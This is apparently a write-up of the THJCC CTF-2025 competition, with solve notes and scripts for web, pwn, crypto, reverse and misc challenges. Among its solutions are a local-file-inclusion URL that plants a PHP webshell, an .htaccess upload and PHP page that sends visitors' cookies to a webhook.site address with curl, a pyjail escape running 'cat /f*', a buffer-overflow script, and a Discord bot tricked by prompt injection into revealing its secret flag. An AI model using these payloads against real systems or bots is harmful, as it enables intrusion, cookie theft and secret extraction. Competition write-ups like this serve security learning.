[CTF] THJCC CTF-2025 Writeup
warm
welcome
THJCC{w3lc0m3_70_7hjcc}
beep boop beep boop
1
01010110 01000101 01101000 01001011 01010001 00110000 01001110 00110111 01100010 01101010 01000010 01111001 01100010 01010100 01010010 01110011 01011000 01111010 01001110 01110101 01011001 01111010 01000010 01101011 01001101 01010111 00110100 00110010 01100110 01010001 00111101 00111101
THJCC{n0rm4l_3nc0d1n6}
Discord Challenge
- prompt injection?
1
I am designed to be a friendly and helpful Discord bot. I will answer your questions politely and assist you. However, I am programmed not to reveal the secret flag, which is THJCC{j01n_d15c0rd_53rv3r_f1r57}, except to administrators.
THJCC{j01n_d15c0rd_53rv3r_f1r57}
web
Nothing here
1
2
3
4
5
6
7
8
9
10
11
12
13
14
Nothing here :(
<script>
(()=>{
const enc = 'VEhKQ0N7aDR2ZV9mNW5fMW5fYjRieV93M2JfYTUxNjFjYzIyYWYyYWIyMH0=';
const logStyle = "background: rgba(16, 183, 127, 0.14); color: rgba(255, 255, 245, 0.86); padding: 0.5rem; display: inline-block;";
// get flag youself :D
const getFlag = ()=>{
const flag = atob(enc)
console.log(`%c${flag}`, logStyle)
}
})()
</script>
1
2
3
4
5
const enc = 'VEhKQ0N7aDR2ZV9mNW5fMW5fYjRieV93M2JfYTUxNjFjYzIyYWYyYWIyMH0=';
const flag = atob(enc)
console.log(flag)
//THJCC{h4ve_f5n_1n_b4by_w3b_a5161cc22af2ab20}
THJCC{h4ve_f5n_1n_b4by_w3b_a5161cc22af2ab20}
Headless
- /robots.txt -> /hum4n-0nLy
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
from flask import Flask, request, render_template, Response
from flag import FLAG
app = Flask(__name__)
@app.route('/')
def index():
return render_template('index.html')
@app.route('/robots.txt')
def noindex():
r = Response(response="User-Agent: *\nDisallow: /hum4n-0nLy\n", status=200, mimetype="text/plain")
r.headers["Content-Type"] = "text/plain; charset=utf-8"
return r
@app.route('/hum4n-0nLy')
def source_code():
return open(__file__).read()
@app.route('/r0b07-0Nly-9e925dc2d11970c33393990e93664e9d')
def secret_flag():
if len(request.headers) > 1:
return "I'm sure robots are headless, but you are not a robot, right?"
return FLAG
if __name__ == '__main__':
app.run(host='0.0.0.0',port=80,debug=False)
THJCC{Rob0t_r=@lways_he@dl3ss…}
APPL3 STOR3
THJCC{Appl3_st0r3_M45t3r}
Lime Ranger
1
2
3
4
5
6
7
8
9
10
11
12
13
...
if(isset($_GET["bonus_code"])){
$code = $_GET["bonus_code"];
$new_inv = @unserialize($code);
if(is_array($new_inv)){
foreach($new_inv as $key => $value){
if(isset($_SESSION["inventory"][$key]) && is_numeric($value)){
$_SESSION["inventory"][$key] += $value;
}
}
}
}
...
1
2
3
4
5
6
7
8
9
10
<?php
$code = serialize([
"UR" => 20,
"SSR" => 20,
"SR" => 20
]);
echo ($code);
?>
THJCC{lin3_r4nGeR_13_1ncreD!Ble_64m3?}
proxy | under_development
在自己Server架設
1
2
3
4
5
<?php
header("HTTP/1.1 301 Moved Permanently");
header("Location: http://secret.flag.thjcc.tw/flag/");
exit();
?>
1
2
3
4
http://chal.ctf.scint.org:10068/fetch
?scheme=http:
&host=:a@{your_ip}.nip.io/%23
&path=/flag
THJCC{—>redirection—>evil-websites—>redirection—>bypass!—>flag!}
Memory-Catcher🧠
- Dockerfile 沒刪除
THJCC{r3m0v3_d0ckrrrf1l3_1n_pr0du4t10n!}
i18n
利用 peclcmd.php 寫 webshell 到 /tmp 底下
1
http://node2.dynchal.p23.tw:25850/?lang=../../../../usr/local/lib/php/peclcmd&+config-create+/<?=`$_GET[1]`?>+/tmp/test.php
1
http://node2.dynchal.p23.tw:25850/?lang=../../../../tmp/test&1=cat /flag
THJCC{r3se4rch3r_is_mean_RE:SE4RCH}
pwn
Flag Shopping
Solve by AI
THJCC{W0w_U_R_G0oD_at_SHoPplng}
Money Overflow
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
from pwn import *
# 連線
p = remote('chal.ctf.scint.org', 10001)
# 準備 payload:20 個 A + 0xffff
payload = b"A" * 20 + b"\xff\xff"
# 傳送名字
p.sendlineafter(b"Enter your name: ", payload)
# 購買選項 5:獲取 shell
p.sendlineafter(b"Buy > ", b"5")
p.interactive()
THJCC{Y0uR_n@mE_I$_ToO_LoO0OOO00oO0000o0O00OoNG}
Insecure Shell
Slove by AI
THJCC{H0w_did_you_tyPE_\x00?}
crypto
Twins
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
!pip install pycryptodome
from Crypto.Util.number import *
from math import isqrt
# 已知 N, e, C
N = 28265512785148668054687043164424479693022518403222612488086445701689124273153696780242227509530772578907204832839238806308349909883785833919803783017981782039457779890719524768882538916689390586069021017913449495843389734501636869534811161705302909526091341688003633952946690251723141803504236229676764434381120627728396492933432532477394686210236237307487092128430901017076078672141054391434391221235250617521040574175917928908260464932759768756492640542972712185979573153310617473732689834823878693765091574573705645787115368785993218863613417526550074647279387964173517578542035975778346299436470983976879797185599
e = 65537
C = 1234497647123308288391904075072934244007064896189041550178095227267495162612272877152882163571742252626259268589864910102423177510178752163223221459996160714504197888681222151502228992956903455786043319950053003932870663183361471018529120546317847198631213528937107950028181726193828290348098644533807726842037434372156999629613421312700151522193494400679327751356663646285177221717760901491000675090133898733612124353359435310509848314232331322850131928967606142771511767840453196223470254391920898879115092727661362178200356905669261193273062761808763579835188897788790062331610502780912517243068724827958000057923
# 嘗試解出 p, q
# N = p * (p + 2) => p^2 + 2p - N = 0
# 解這個一元二次方程
x = isqrt(N + 1) - 1
p = x
q = p + 2
assert p * q == N # 確認我們算對
phi = (p - 1) * (q - 1)
d = inverse(e, phi)
m = pow(C, d, N)
FLAG = long_to_bytes(m)
print(FLAG)
THJCC{7wIn_pR!me$_4RE_Too_L0VE1Y}
Frequency Freakout
1
2
3
4
5
6
7
8
MW RUB LGSEC GN TEYDDMTYE TSZJRGASYJUZ, IYWZ BWRUFDMYDRD XBAMW LMRU DMIJEB DFXDRMRFRMGW TMJUBSD. RUBDB XYDMT RBTUWMHFBD CBIGWDRSYRB RUB VFEWBSYXMEMRZ GN EBRRBS NSBHFBWTZ YWC DUGL UGL TBSRYMW JYRRBSWD TYW SBVBYE UMCCBW IBDDYABD.
GWB GN RUB IGDR BPTMRMWA BPBSTMDBD MW EBYSWMWA YXGFR TMJUBSD MD RSZMWA RG TGWDRSFTR ZGFS GLW YWC TUYEEBWAB GRUBSD RG XSBYQ MR. LUMEB IGCBSW BWTSZJRMGW IBRUGCD UYVB NYS DFSJYDDBC RUBDB RBTUWMHFBD MW TGIJEBPMRZ YWC DRSBWARU, RUB NFWCYIBWRYE MCBYD SBIYMW NYDTMWYRMWA.
MN ZGF'SB FJ NGS Y JFOOEB, UBSB'D Y TUYEEBWAB: RUKTT{DFXDR1R1GW_TMJU3S_1D_TGG1} -K RUMD IMAUR EGGQ EMQB Y SYWCGI DRSMWA, XFR MR'D WGR. UMCCBW LMRUMW RUMD DBHFBWTB MD RUB QBZ RG FWCBSDRYWCMWA UGL DMIJEB EBRRBS DFXDRMRFRMGW TYW DRMEE DJYSQ TFSMGDMRZ YWC NFW.
RSZ CBTGCMWA MR GS BIXBCCMWA MR LMRUMW ZGFS GLW TMJUBS. LUG QWGLD? ZGF IMAUR KFDR MWDJMSB DGIBGWB BEDB RG CMVB MWRG RUB LGSEC GN TSZJRYWYEZDMD.
線上工具 https://planetcalc.com/8047/
1
2
3
4
5
6
7
IN THE WORLD OF CLASSICAL CRYPTOGRAPHY, MANY ENTHUSIASTS BEGIN WITH SIMPLE SUBSTITUTION CIPHERS. THESE BASIC TECHNIQUES DEMONSTRATE THE VULNERABILITY OF LETTER FREQUENCY AND SHOW HOW CERTAIN PATTERNS CAN REVEAL HIDDEN MESSAGES.
ONE OF THE MOST EXCITING EXERCISES IN LEARNING ABOUT CIPHERS IS TRYING TO CONSTRUCT YOUR OWN AND CHALLENGE OTHERS TO BREAK IT. WHILE MODERN ENCRYPTION METHODS HAVE FAR SURPASSED THESE TECHNIQUES IN COMPLEXITY AND STRENGTH, THE FUNDAMENTAL IDEAS REMAIN FASCINATING.
IF YOU'RE UP FOR A PUZZLE, HERE'S A CHALLENGE: THJCC{SUBST1T1ON_CIPH3R_1S_COO1} -J THIS MIGHT LOOK LIKE A RANDOM STRING, BUT IT'S NOT. HIDDEN WITHIN THIS SEQUENCE IS THE KEY TO UNDERSTANDING HOW SIMPLE LETTER SUBSTITUTION CAN STILL SPARK CURIOSITY AND FUN.
TRY DECODING IT OR EMBEDDING IT WITHIN YOUR OWN CIPHER. WHO KNOWS? YOU MIGHT JUST INSPIRE SOMEONE ELSE TO DIVE INTO THE WORLD OF CRYPTANALYSIS.
THJCC{SUBST1T1ON_CIPH3R_1S_COO1}
SNAKE
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
def decode_symbols(symbol_str):
symbols = "!@#$%^&*(){}[]:;"
# 反向映射:符號 -> 二進位
symbol_to_binary = {symbol: f"{i:04b}" for i, symbol in enumerate(symbols)}
# 將符號轉換為二進位
binary_str = ''.join(symbol_to_binary[symbol] for symbol in symbol_str)
# 每 8 位二進位對應一個字符
decoded_str = ''.join(chr(int(binary_str[i:i+8], 2)) for i in range(0, len(binary_str), 8))
return decoded_str
encoded_str = "^$&:&@&}&^*$#!&@*#&^#!&^&[&;&:&*&@*%&^&%#!&[&)&]&#&[&^*$*$#!*#&^*!*%&)&[&^*$#!&;&&#!*%&(&^#!*$*^&#&;*#&%&^*##!^$&^*#*!&^&:*%&^*$#:#!%$&[&@&%&)*$*%&)&$&@&[&[*)#!*$*@*^&@&]&@*%&^*$#[#!*$&:&@&}&^*$#!&@*#&^#!&^&$*%&;*%&(&^*#&]&)&$#[#!&@&]&:&)&;*%&^#!*&&^*#*%&^&#*#&@*%&^*$#!&$&;*&&^*#&^&%#!&)&:#!&;*&&^*#&[&@*!*!&)&:&*#!*$&$&@&[&^*$#!&]*^&$&(#!&[&)&}&^#!&;*%&(&^*##!&]&^&]&#&^*#*$#!&;&&#!*%&(&^#!&**#&;*^*!#:#!%]&@&:*)#!*$*!&^&$&)&^*$#!&;&&#!*$&:&@&}&^*$#!&(&@*&&^#!*$&}*^&[&[*$#!**&)*%&(#!*$&^*&&^*#&@&[#!&]&;*#&^#!&{&;&)&:*%*$#!*%&(&@&:#!*%&(&^&)*##!&[&)*{&@*#&%#!&@&:&$&^*$*%&;*#*$#!&@&:&%#!*#&^&[&@*%&)*&&^*$#[#!&^&:&@&#&[&)&:&*#!*%&(&^&]#!*%&;#!*$**&@&[&[&;**#!*!*#&^*)#!&]*^&$&(#!&[&@*#&*&^*##!*%&(&@&:#!*%&(&^&)*##!&(&^&@&%*$#!#(&$*#&@&:&)&@&[#!&}&)&:&^*$&)*$#)#:#!^%&;#!&@&$&$&;&]&]&;&%&@*%&^#!*%&(&^&)*##!&:&@*#*#&;**#!&#&;&%&)&^*$#[#!*$&:&@&}&^*$#*#!*!&@&)*#&^&%#!&;*#&*&@&:*$#!#(*$*^&$&(#!&@*$#!&}&)&%&:&^*)*$#)#!&@*!*!&^&@*##!&;&:&^#!&)&:#!&&*#&;&:*%#!&;&&#!*%&(&^#!&;*%&(&^*##!&)&:*$*%&^&@&%#!&;&&#!*$&)&%&^#!&#*)#!*$&)&%&^#[#!&@&:&%#!&]&;*$*%#!&;&:&[*)#!&(&@*&&^#!&;&:&^#!&&*^&:&$*%&)&;&:&@&[#!&[*^&:&*#:#!^$&;&]&^#!*$*!&^&$&)&^*$#!*#&^*%&@&)&:#!&@#!*!&^&[*&&)&$#!&*&)*#&%&[&^#!**&)*%&(#!&@#!*!&@&)*##!&;&&#!*&&^*$*%&)&*&)&@&[#!&$&[&@***$#!&;&:#!&^&)*%&(&^*##!*$&)&%&^#!&;&&#!*%&(&^#!&$&[&;&@&$&@#:#!%[&)*{&@*#&%*$#!&(&@*&&^#!&)&:&%&^*!&^&:&%&^&:*%&[*)#!&^*&&;&[*&&^&%#!&^&[&;&:&*&@*%&^#!&#&;&%&)&^*$#!**&)*%&(&;*^*%#!&[&)&]&#*$#!&;*##!**&)*%&(#!&**#&^&@*%&[*)#!*#&^&%*^&$&^&%#!&[&)&]&#*$#!&@*%#!&[&^&@*$*%#!*%**&^&:*%*)#]&&&)*&&^#!*%&)&]&^*$#!*&&)&@#!&$&;&:*&&^*#&*&^&:*%#!&^*&&;&[*^*%&)&;&:#[#!&[&^&@&%&)&:&*#!*%&;#!&]&@&:*)#!&[&)&:&^&@&*&^*$#!&;&&#!&[&^&*&[&^*$*$#!&[&)*{&@*#&%*$#:#!^%&(&^*$&^#!*#&^*$&^&]&#&[&^#!*$&:&@&}&^*$#[#!&#*^*%#!*$&^*&&^*#&@&[#!&$&;&]&]&;&:#!&**#&;*^*!*$#!&;&&#!&[&^&*&[&^*$*$#!&[&)*{&@*#&%*$#!&(&@*&&^#!&^*)&^&[&)&%*$#!&@&:&%#!&^*(*%&^*#&:&@&[#!&^&@*#*$#[#!**&(&)&$&(#!*$&:&@&}&^*$#!&[&@&$&}#[#!&@&[*%&(&;*^&*&(#!*%&(&)*$#!*#*^&[&^#!&)*$#!&:&;*%#!*^&:&)*&&^*#*$&@&[#!#(*$&^&^#!%@&]*!&(&)*$&#&@&^&:&)&@#[#!%%&)&#&@&]&)&%&@&^#[#!&@&:&%#!^!*)&*&;*!&;&%&)&%&@&^#)#:#!&#&[&@&#&[&@&#&[&@#!%(&^*#&^#!&)*$#!*)&;*^*##!&&&[&@&*${#!^%%(%{%$%$*}^$%:%@%}$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$*]"
decoded_output = decode_symbols(encoded_str)
print(decoded_output)
1
Snakes are elongated limbless reptiles of the suborder Serpentes. Cladistically squamates, snakes are ectothermic, amniote vertebrates covered in overlapping scales much like other members of the group. Many species of snakes have skulls with several more joints than their lizard ancestors and relatives, enabling them to swallow prey much larger than their heads (cranial kinesis). To accommodate their narrow bodies, snakes' paired organs (such as kidneys) appear one in front of the other instead of side by side, and most only have one functional lung. Some species retain a pelvic girdle with a pair of vestigial claws on either side of the cloaca. Lizards have independently evolved elongate bodies without limbs or with greatly reduced limbs at least twenty-five times via convergent evolution, leading to many lineages of legless lizards. These resemble snakes, but several common groups of legless lizards have eyelids and external ears, which snakes lack, although this rule is not universal (see Amphisbaenia, Dibamidae, and Pygopodidae). blablabla Here is your flag: THJCC{SNAK3333333333333333}
THJCC{SNAK3333333333333333}
reverse
西
1
2
3
4
5
6
7
hex_data = b'\xa1\xbd\xbf\xb6\xb6\x8e\xa1\x9d\xc4\x86\xaa\xc4\xa6\xaa\x9b\xc5\xa1\xaa\x9a\x97\x93\xa0\xd1\x96\xb5\xa1\xc4\xba\x9b\x88'
key = 0xF5
decrypted_data = bytearray([byte ^ key for byte in hex_data])
decrypted_string = decrypted_data.decode('utf-8', errors='ignore')
print(decrypted_string)
THJCC{Th1s_1S_n0T_obfU$c@T1On}
Python Hunter
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
# 定義 qwe 函數
def qwe(abc, xyz):
r = []
l = len(xyz)
for i in range(len(abc)):
t = chr(abc[i] ^ ord(xyz[i % l]))
r.append(t)
return ''.join(r)
# 給定的數據
d = [48, 39, 37, 49, 28, 16, 82, 17, 87, 13, 92, 71, 104, 52, 21, 0, 83, 7, 95, 28, 55, 30, 11, 78, 87, 29, 18]
k = 'door_key'
# 計算正確的密鑰加密結果
v = qwe(d, k)
print(f"加密後的結果: {v}")
# 根據 v 得到正確的密鑰,並展示如何進行解密
def find_key(d, encrypted):
possible_keys = []
# 嘗試每一個可能的 key,並檢查是否與 encrypted 结果相符
for i in range(32, 127): # ASCII 可顯示字符範圍
key_char = chr(i)
# 用 key_char 嘗試解密
decrypted = qwe(d, key_char * len(d))
if decrypted == encrypted:
possible_keys.append(key_char)
return possible_keys
# 尋找正確的密鑰
possible_keys = find_key(d, v)
THJCC{7h3b357_py7h0nhun73r}
time_GEM
- patch sleep()
THJCC{H0w_I_enVY_4Nd_W15H_re4L17Y_k0uLd_4L50_k0N7R0l_TIME–>=.=!!!}
Noo dle
1
2
3
4
5
6
7
8
9
10
11
12
13
string_spec = "!\"#$%&'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\\]^_`abcdefghijklmnopqrstuvwxyz{|}~"
string_enc = "84149424a434b444c454d464e474f40686169626a636b646c656d666e676f60888189828a838b848c858d868e878f80a8a1a9a2aaa3aba4aca5ada6aea7afa0c8c1c9c2cac3cbc4ccc5cdc6cec7cfc0e8e1e9e2eae3ebe4ece5ede6eee"
# 建立 HEX => 字元對照表
hex_to_char = {}
for i in range(0, len(string_enc), 2):
hex_code = string_enc[i:i+2].lower()
char = string_spec[i // 2]
hex_to_char[hex_code] = char
hex_input = "2a48589898decafcaefa98087cfa58ae9e2afa1c1aaa2e96fa38061a9ca8fa182ebeee"
decoded = ''.join(hex_to_char.get(hex_input[i:i+2], '?') for i in range(0, len(hex_input), 2))
print(decoded)
THJCC{You_C@n_JusT_bRUt3_F0RcE_Btw}
misc
network noise
- wireshark 找找
THJCC{tH15_I5_JU57_TH3_B3G1Nn1Ng…}
Seems like someone’s breaking down
THJCC{L0g_F0r3N51C5_1s_E45Y}
There Is Nothing
- 調整圖片長度hex
THJCC{1_d1dn7_h1d3_4ny7h1n6}
Hidden in memory
- use windbg
1
!process 0 0x31 wininit.exe
THJCC{WH3R3-Y0U-G3TM3}
Pyjail02
1
2
3
4
5
import unicodedata
inpt = unicodedata.normalize("NFKC", input("> "))
print(eval(inpt, {"__builtins__":{}}, {}))
1
2
3
4
5
6
7
# nc chal.ctf.scint.org 19001
> ().__class__.__base__.__subclasses__()[141]
<class 'os._wrap_close'>
# nc chal.ctf.scint.org 19001
> ().__class__.__base__.__subclasses__()[141].__init__.__globals__['system']('cat /f*')
THJCC{pYj41l_w17h_r3m0v3d_bu1l71n5_5ebd37c1}0
THJCC{pYj41l_w17h_r3m0v3d_bu1l71n5_5ebd37c1}
Setsuna Message
https://malbolge.doleczek.pl/
1
echo "VEhKQ0N7QHIhc3UhMXl9" |base64 -d #THJCC{@r!su!1y}
THJCC{@r!su!1y}
Insane
iCloud
- upload .htaccess file to enable .php execution, get a webshell, and redirect to index.php
1 2 3 4
RewriteEngine On AddType application/x-httpd-php .php AddHandler application/x-httpd-php .php DirectoryIndex index.php
- craft page to steal cookie
1 2 3 4 5 6
<?php $cookie = $_SERVER['HTTP_COOKIE'] ?? ''; $encoded_cookie = urlencode($cookie); $cmd = "curl 'https://webhook.site/c8547cee-d158-4e3c-992c-07e6e0b48fd8?cookie={$encoded_cookie}'"; shell_exec($cmd); ?>
flag=THJCC{hTaCc3s5_c@n_al3rt(`Pwned!`)}
Form
THJCC{thanks_for_playing}